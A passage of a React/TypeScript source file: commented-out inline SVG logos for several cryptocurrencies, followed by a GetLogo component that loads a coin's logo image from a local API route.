//           <path d="M113.441,0C50.789,0,0,50.79,0,113.443c0,62.654,50.789,113.441,113.441,113.441 c62.654,0,113.443-50.787,113.443-113.441C226.885,50.79,176.096,0,113.441,0z M157.477,168.762H68.839l7.45-35.566l-14.486,9.933 l3.519-19.463l15.151-10.43l14.862-70.939h27.671l-10.232,48.71L148.8,66.213l-4.222,20.167l-36.02,24.693l-7.126,33.93H162.4 L157.477,168.762z" />
//         </svg>
//       );
//     case 'doge':
//       return (
//         <svg
//           viewBox="0 0 32 32"
//           xmlns="http://www.w3.org/2000/svg"
//           fill="#000000"
//           className={cn('w-[18px] h-[18px]', className)}
//         >
//           <circle cx="16" cy="16" r="16" fill="#C3A634" />
//           <path
//             fill="#FFF"
//             d="M13.248 14.61h4.314v2.286h-4.314v4.818h2.721c1.077 0 1.958-.145 2.644-.437.686-.291 1.224-.694 1.615-1.21a4.4 4.4 0 00.796-1.815 11.4 11.4 0 00.21-2.252 11.4 11.4 0 00-.21-2.252 4.396 4.396 0 00-.796-1.815c-.391-.516-.93-.919-1.615-1.21-.686-.292-1.567-.437-2.644-.437h-2.721v4.325zm-2.766 2.286H9v-2.285h1.482V8h6.549c1.21 0 2.257.21 3.142.627.885.419 1.607.99 2.168 1.715.56.724.977 1.572 1.25 2.543.273.971.409 2.01.409 3.115a11.47 11.47 0 01-.41 3.115c-.272.97-.689 1.819-1.25 2.543-.56.725-1.282 1.296-2.167 1.715-.885.418-1.933.627-3.142.627h-6.549v-7.104z"
//           />
//         </svg>
//       );
//     case 'sol':
//       return (
//         <svg
//           viewBox="0 0 32 32"
//           xmlns="http://www.w3.org/2000/svg"
//           fill="#000000"
//           className={cn('w-[18px] h-[18px]', className)}
//         >
//           <circle fill="#66F9A1" cx="16" cy="16" r="16" />
//           <path
//             d="M9.925 19.687a.59.59 0 01.415-.17h14.366a.29.29 0 01.207.497l-2.838 2.815a.59.59 0 01-.415.171H7.294a.291.291 0 01-.207-.498l2.838-2.815zm0-10.517A.59.59 0 0110.34 9h14.366c.261 0 .392.314.207.498l-2.838 2.815a.59.59 0 01-.415.17H7.294a.291.291 0 01-.207-.497L9.925 9.17zm12.15 5.225a.59.59 0 00-.415-.17H7.294a.291.291 0 00-.207.498l2.838 2.815c.11.109.26.17.415.17h14.366a.291.291 0 00.207-.498l-2.838-2.815z"
//             fill="#FFF"
//           />
//         </svg>
//       );
//     case 'sui':
//       return (
//         <svg
//           xmlns="http://www.w3.org/2000/svg"
//           // xmlns:xlink="http://www.w3.org/1999/xlink"
//           version="1.1"
//           id="Layer_1"
//           x="0px"
//           y="0px"
//           viewBox="0 0 300 383.5"
//           // style="enable-background:new 0 0 300 383.5;"
//           // xml:space="preserve"
//           className={cn('w-[18px] h-[18px]', className)}
//         >
//           <path
//             className="text-[#4DA2FF]"
//             fill="currentColor"
//             d="M240.1,159.9c15.6,19.6,25,44.5,25,71.5s-9.6,52.6-25.7,72.4l-1.4,1.7l-0.4-2.2c-0.3-1.8-0.7-3.7-1.1-5.6  c-8-35.3-34.2-65.6-77.4-90.2c-29.1-16.5-45.8-36.4-50.2-59c-2.8-14.6-0.7-29.3,3.3-41.9c4.1-12.6,10.1-23.1,15.2-29.4l16.8-20.5  c2.9-3.6,8.5-3.6,11.4,0L240.1,159.9L240.1,159.9z M266.6,139.4L154.2,2c-2.1-2.6-6.2-2.6-8.3,0L33.4,139.4l-0.4,0.5  C12.4,165.6,0,198.2,0,233.7c0,82.7,67.2,149.8,150,149.8c82.8,0,150-67.1,150-149.8c0-35.5-12.4-68.1-33.1-93.8L266.6,139.4  L266.6,139.4z M60.3,159.5l10-12.3l0.3,2.3c0.2,1.8,0.5,3.6,0.9,5.4c6.5,34.1,29.8,62.6,68.6,84.6c33.8,19.2,53.4,41.3,59.1,65.6  c2.4,10.1,2.8,20.1,1.8,28.8l-0.1,0.5l-0.5,0.2c-15.2,7.4-32.4,11.6-50.5,11.6c-63.5,0-115-51.4-115-114.8  C34.9,204.2,44.4,179.1,60.3,159.5L60.3,159.5z"
//           />
//         </svg>
//       );
//     case 'xrp':
//       return (
//         <svg
//           xmlns="http://www.w3.org/2000/svg"
//           viewBox="0 0 512 424"
//           className={cn('w-[18px] h-[18px]', className)}
//         >
//           <defs>
//             <style></style>
//           </defs>
//           <title>x</title>
//           <g id="Layer_2" data-name="Layer 2">
//             <g id="Layer_1-2" data-name="Layer 1" fill="currentColor">
//               <path
//                 className="cls-1"
//                 d="M437,0h74L357,152.48c-55.77,55.19-146.19,55.19-202,0L.94,0H75L192,115.83a91.11,91.11,0,0,0,127.91,0Z"
//               />
//               <path
//                 className="cls-1"
//                 d="M74.05,424H0L155,270.58c55.77-55.19,146.19-55.19,202,0L512,424H438L320,307.23a91.11,91.11,0,0,0-127.91,0Z"
//               />
//             </g>
//           </g>
//         </svg>
//       );
//     default:
//       return null;
//   }
// }

export function GetLogo({
  keyProp,
  className,
}: {
  keyProp: string;
  className?: string;
}) {
  const [logoUrl, setLogoUrl] = useState<string | null>(null);

  useEffect(() => {
    if (!keyProp) return;
    const url = `/api/crypto/${keyProp}`;
    setLogoUrl(url);
  }, [keyProp]);

  if (!logoUrl) return null;

  return (
    <Image
      src={logoUrl}
      alt={`${keyProp} logo`}
      className={cn('rounded-full', className)}
      width={18}
      height={18}
      style={{ display: 'inline-block' }}
      decoding="async"
      loading="lazy"
    />
  );
}
